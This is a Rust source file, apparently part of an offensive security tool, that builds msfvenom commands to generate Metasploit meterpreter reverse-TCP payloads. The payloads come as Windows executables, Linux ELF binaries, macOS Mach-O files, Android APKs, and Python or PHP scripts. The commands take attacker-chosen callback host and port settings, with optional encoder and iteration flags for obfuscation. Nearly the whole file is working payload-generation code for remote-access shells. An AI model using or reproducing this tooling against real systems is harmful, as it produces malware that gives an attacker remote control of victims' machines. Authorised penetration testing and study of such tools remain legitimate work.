1use crate::models::PayloadRecipe;
2
3pub const PLATFORM_PAYLOADS: &[(&str, &[(&str, &str)])] = &[
4 (
5 "windows",
6 &[
7 ("x86", "windows/meterpreter/reverse_tcp"),
8 ("x64", "windows/x64/meterpreter/reverse_tcp"),
9 ],
10 ),
11 (
12 "linux",
13 &[
14 ("x86", "linux/x86/meterpreter/reverse_tcp"),
15 ("x64", "linux/x64/meterpreter/reverse_tcp"),
16 ],
17 ),
18 (
19 "macos",
20 &[
21 ("x64", "osx/x64/meterpreter/reverse_tcp"),
22 ("arm64", "osx/arm64/meterpreter/reverse_tcp"),
23 ],
24 ),
25 ("android", &[("dalvik", "android/meterpreter/reverse_tcp")]),
26 ("python", &[("py", "python/meterpreter/reverse_tcp")]),
27 ("php", &[("php", "php/meterpreter/reverse_tcp")]),
28];
29
30pub fn build_recipe(
31 platform: &str,
32 arch: &str,
33 lhost: &str,
34 lport: u16,
35 output_path: &str,
36 encoder: Option<String>,
37 iterations: Option<u32>,
38) -> PayloadRecipe {
39 let platform_lower = platform.to_lowercase();
40 let arch_lower = arch.to_lowercase();
41
42 let payload = PLATFORM_PAYLOADS
43 .iter()
44 .find(|(known_platform, _)| *known_platform == platform_lower)
45 .and_then(|(_, arches)| {
46 arches
47 .iter()
48 .find(|(known_arch, _)| *known_arch == arch_lower)
49 .map(|(_, payload)| (*payload).to_string())
50 })
51 .unwrap_or_else(|| platform_fallback_payload(&platform_lower, &arch_lower));
53
54 let format = match platform_lower.as_str() {
55 "windows" => "exe",
56 "linux" => "elf",
57 "macos" => "macho",
58 "android" => "apk",
59 "python" | "php" => "raw",
60 _ => "raw",
61 }
62 .to_string();
63
64 let output_file = if format == "raw" {
65 if platform_lower == "python" {
66 format!("{}.py", output_path)
67 } else if platform_lower == "php" {
68 format!("{}.php", output_path)
69 } else {
70 format!("{}.{}", output_path, format)
71 }
72 } else {
73 format!("{}.{}", output_path, format)
74 };
75
76 let mut cmd_parts = vec![
77 "msfvenom".to_string(),
78 "-p".to_string(),
79 payload,
80 format!("LHOST={}", lhost),
81 format!("LPORT={}", lport),
82 "-f".to_string(),
83 format.clone(),
84 "-o".to_string(),
85 output_file.clone(),
86 ];
87
88 if let Some(encoder) = encoder.as_ref() {
89 cmd_parts.push("-e".to_string());
90 cmd_parts.push(encoder.clone());
91 }
92
93 if let Some(iterations) = iterations {
94 cmd_parts.push("-i".to_string());
95 cmd_parts.push(iterations.to_string());
96 }
97
98 let command = cmd_parts.join(" ");
99
100 PayloadRecipe {
101 platform: platform_lower,
102 architecture: arch_lower,
103 lhost: lhost.to_string(),
104 lport,
105 format,
106 output_path: output_file,
107 encoder,
108 iterations,
109 command,
110 }
111}
112
113fn platform_fallback_payload(platform: &str, arch: &str) -> String {
114 match platform {
115 "windows" => match arch {
116 "x64" => "windows/x64/meterpreter/reverse_tcp",
117 _ => "windows/meterpreter/reverse_tcp",
118 },
119 "linux" => match arch {
120 "x64" => "linux/x64/meterpreter/reverse_tcp",
121 _ => "linux/x86/meterpreter/reverse_tcp",
122 },
123 "macos" => "osx/x64/meterpreter/reverse_tcp",
124 "android" => "android/meterpreter/reverse_tcp",
125 "python" => "python/meterpreter/reverse_tcp",
126 "php" => "php/meterpreter/reverse_tcp",
127 _ => "generic/shell_reverse_tcp",
128 }
129 .to_string()
130}
131
132pub fn get_available_platforms() -> Vec<String> {
133 PLATFORM_PAYLOADS
134 .iter()
135 .map(|(platform, _)| (*platform).to_string())
136 .collect()
137}
138
139pub fn get_available_arches(platform: &str) -> Vec<String> {
140 let platform_lower = platform.to_lowercase();
141 PLATFORM_PAYLOADS
142 .iter()
143 .find(|(known_platform, _)| *known_platform == platform_lower)
144 .map(|(_, arches)| arches.iter().map(|(arch, _)| (*arch).to_string()).collect())
145 .unwrap_or_default()
146}